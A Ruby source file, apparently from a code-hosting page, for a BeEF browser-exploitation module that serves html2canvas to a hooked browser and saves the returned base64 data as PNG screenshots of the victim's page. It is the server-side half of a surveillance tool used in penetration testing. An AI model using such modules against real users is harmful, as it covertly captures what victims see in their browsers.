24 lines
878 B
Ruby
24 lines
878 B
Ruby
class Spyder_eye < BeEF::Core::Command
|
|
require 'base64'
|
|
|
|
def pre_send
|
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/html2canvas', 'js')
|
|
end
|
|
|
|
def post_execute
|
|
content = {}
|
|
content['results'] = @datastore['results']
|
|
save content
|
|
#I would prefer use common logger but I haven't find the way to do it
|
|
print "---------[ preth00nker says ]----------\n"
|
|
print " look for your file in ./beef/"+"SeO_"+@datastore['cid']+".png\n"
|
|
#e.g. BeEF::Core::Logger.instance.register("spyder eye"," look for your file in ./beef/"+"SeO_"+@datastore['cid']+".png")
|
|
File.open("SeO_"+@datastore['cid']+'.png', 'wb') do |file|
|
|
file.write(Base64.decode64( content['results'] ) )
|
|
end
|
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/html2canvas.js')
|
|
end
|
|
|
|
end
|
|
|